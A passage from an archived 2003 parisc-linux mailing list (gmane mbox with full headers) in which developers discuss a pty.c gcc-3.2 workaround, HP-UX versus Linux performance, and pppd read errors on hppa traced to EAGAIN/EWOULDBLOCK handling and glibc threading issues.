> 	able to boot a 2.4.20-pa?? kernel compiled either natively or cross ? 

yes. So it's not an option for you.

> > o run HPUX
> > 
> > I've not done or seen any lmbench perf results recently but before hpux
> > was 10x faster on context switch/task related stuff.  And X11 server

Seems I remembered this partially wrong.
Linux was slightly faster in lots of areas, ~5x slower on fork/exec/shi,
and ~10x slower mmap latency.

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-March/015966.html

grant


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pty.c & gcc-3.2 workaround?
Date: Mon, 10 Feb 2003 07:59:48 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20030210155948.GS11363@tausq.org>
References: <3E476CFE0000078D@ocpmta3.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622206 21690 80.91.229.3 (22 Nov 2014 02:10:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 09:55:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36B24482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 09:55:57 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 84759CD294; Mon, 10 Feb 2003 07:59:48 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E476CFE0000078D@ocpmta3.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17684

> Is this work-around could be safely remove now? (I just test it on 2.4.20-pa26
> 32bit UP as well as on a 2.4.21-pre4-pa23 of mine and seems to works fine)

i think we should leave it in for now, since some people (?) are still
running woody/testing which doesn't have the new gcc-3.2 yet. we can
phase that out in a few months i guess.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Mon, 10 Feb 2003 17:55:56 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <3E476CFE000007AD@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622207 21692 80.91.229.3 (22 Nov 2014 02:10:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 09:56:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id A515F4839
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 09:56:11 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18iHE2-0000F3-01
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 17:56:10 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 10 Feb 2003 17:55:56 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17685

Hi all,

Since a month, I use ppp to have an external ISP connection (to have additional
rsync and cvs).

All seems to work fine, never the less I notice some pppd messages which
I do not noticed on my i386 Debian GNU/Linux box:
...
Feb 10 17:34:57 fw01 pppd[1543]: read: Resource temporarily unavailable
Feb 10 17:34:57 fw01 pppd[1543]: read /dev/ppp: Resource temporarily unavailable
...
(there are so many that it become annoying :()

Well, analysing sources, it seems to come from thread? 
Is there some known pb regarding hppa-linux thread implementation (kernel,
glibc, pppd, ...)?

Thanks in advance for help,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pty.c & gcc-3.2 workaround?
Date: Mon, 10 Feb 2003 18:07:06 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <3E476CFE000007C6@ocpmta3.freegates.net>
References: <20030210155948.GS11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622207 21697 80.91.229.3 (22 Nov 2014 02:10:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 10:07:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2167E482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 10:07:10 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18iHOe-0007xM-00; Mon, 10 Feb 2003 18:07:08 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 10 Feb 2003 18:07:06 +0100
In-Reply-To: <20030210155948.GS11363@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17686

>
>> Is this work-around could be safely remove now? (I just test it on 2.4.20-pa26
>> 32bit UP as well as on a 2.4.21-pre4-pa23 of mine and seems to works fine)
>
>i think we should leave it in for now, since some people (?) are still
>running woody/testing which doesn't have the new gcc-3.2 yet.
Sorry, my Bad (I would have to check).

>  we can
>phase that out in a few months i guess.
>
Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Mon, 10 Feb 2003 08:13:04 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20030210161304.GT11363@tausq.org>
References: <3E476CFE000007AD@ocpmta3.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622207 21700 80.91.229.3 (22 Nov 2014 02:10:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 10:09:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92BB2482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 10:09:18 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 80E27CD294; Mon, 10 Feb 2003 08:13:04 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3E476CFE000007AD@ocpmta3.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17687

> All seems to work fine, never the less I notice some pppd messages which
> I do not noticed on my i386 Debian GNU/Linux box:
> ...
> Feb 10 17:34:57 fw01 pppd[1543]: read: Resource temporarily unavailable
> Feb 10 17:34:57 fw01 pppd[1543]: read /dev/ppp: Resource temporarily unavailable

this probably comes from apps that assume EAGAIN==EWOULDBLOCK. we need
to probably fix this in glibc.... let's add it to Carlos' todo list! :-)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Mon, 10 Feb 2003 12:32:32 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200302101732.h1AHWW6m006054@hiauly1.hia.nrc.ca>
References: <3E476CFE000007AD@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622208 21706 80.91.229.3 (22 Nov 2014 02:10:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 10:32:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB320482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 10:32:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1AHWWot006055;
	Mon, 10 Feb 2003 12:32:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1AHWW6m006054;
	Mon, 10 Feb 2003 12:32:32 -0500 (EST)
In-Reply-To: <3E476CFE000007AD@ocpmta3.freegates.net> from "Joel Soete" at Feb 10, 2003 05:55:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17688

> Well, analysing sources, it seems to come from thread? 
> Is there some known pb regarding hppa-linux thread implementation (kernel,
> glibc, pppd, ...)?

Yes.  There have been issues with locking in glibc wrt threads.  Also,
the functions in atomicity.h are not atomic.  There may also be problems
in the kernel, particularly SMP.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Mon, 10 Feb 2003 18:42:26 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <3E476CFE00000805@ocpmta3.freegates.net>
References: <200302101732.h1AHWW6m006054@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622208 21710 80.91.229.3 (22 Nov 2014 02:10:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 10:42:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04A20482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 10:42:31 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18iHwp-0004tD-00; Mon, 10 Feb 2003 18:42:27 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 10 Feb 2003 18:42:26 +0100
In-Reply-To: <200302101732.h1AHWW6m006054@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17689

>
>> Well, analysing sources, it seems to come from thread? 
>> Is there some known pb regarding hppa-linux thread implementation (kernel,
>> glibc, pppd, ...)?
>
>Yes.  There have been issues with locking in glibc wrt threads.  Also,
>the functions in atomicity.h are not atomic.  There may also be problems
>in the kernel, particularly SMP.
>
Ha ok, I will so wait.

Thanks to all,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Mon, 10 Feb 2003 18:57:49 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3E476CFE00000819@ocpmta3.freegates.net>
References: <20030210161304.GT11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622208 21713 80.91.229.3 (22 Nov 2014 02:10:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 10:57:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 028D1482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 10:57:53 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18iIBj-0006af-00; Mon, 10 Feb 2003 18:57:51 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 10 Feb 2003 18:57:49 +0100
In-Reply-To: <20030210161304.GT11363@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17690


>> All seems to work fine, never the less I notice some pppd messages which
>> I do not noticed on my i386 Debian GNU/Linux box:
>> ...
>> Feb 10 17:34:57 fw01 pppd[1543]: read: Resource temporarily unavailable
>> Feb 10 17:34:57 fw01 pppd[1543]: read /dev/ppp: Resource temporarily unavailable
>
>this probably comes from apps that assume EAGAIN==EWOULDBLOCK. we need
>to probably fix this in glibc.... let's add it to Carlos' todo list! :-)
>

Hmm just: a quick look in src and effectively in mainly pppd/sys-linux.c
test errno != EWOULDBLOCK (for sys-sunos4.c we met more (errno != EAGAIN
&& errno != EWOULDBLOCK) 
I am curious if some change occurs about this in cvs?

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Mon, 10 Feb 2003 19:16:26 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3E476CFE00000836@ocpmta3.freegates.net>
References: <3E476CFE00000819@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622209 21717 80.91.229.3 (22 Nov 2014 02:10:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 11:16:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DD45482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 11:16:43 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18iITw-00022j-00; Mon, 10 Feb 2003 19:16:40 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 10 Feb 2003 19:16:26 +0100
In-Reply-To: <3E476CFE00000819@ocpmta3.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17691

>
>>> All seems to work fine, never the less I notice some pppd messages which
>>> I do not noticed on my i386 Debian GNU/Linux box:
>>> ...
>>> Feb 10 17:34:57 fw01 pppd[1543]: read: Resource temporarily unavailable
>>> Feb 10 17:34:57 fw01 pppd[1543]: read /dev/ppp: Resource temporarily
unavailable
>>
>>this probably comes from apps that assume EAGAIN==EWOULDBLOCK. we need
>>to probably fix this in glibc.... let's add it to Carlos' todo list! :-)
>>
>
... sys-sunos4.c we meet more (errno != EAGAIN && errno != EWOULDBLOCK) 

In cvs, the same for sys-aix4.c and sys-osf.c; could I safely try the same
here?

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pppd, pthread and hppa-linux question?
Date: Mon, 10 Feb 2003 14:46:50 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20030210194650.GG6139@systemhalted>
References: <3E476CFE000007AD@ocpmta3.freegates.net> <20030210161304.GT11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622209 21724 80.91.229.3 (22 Nov 2014 02:10:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:09 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 10 12:47:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19780482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Feb 2003 12:47:07 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18iJtD-0004ev-00; Mon, 10 Feb 2003 14:46:51 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>,
	Joel Soete <jsoe0708@tiscali.be>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030210161304.GT11363@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (11% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17692

On Mon, Feb 10, 2003 at 08:13:04AM -0800, Randolph Chung wrote:
> > All seems to work fine, never the less I notice some pppd messages which
> > I do not noticed on my i386 Debian GNU/Linux box:
> > ...
> > Feb 10 17:34:57 fw01 pppd[1543]: read: Resource temporarily unavailable
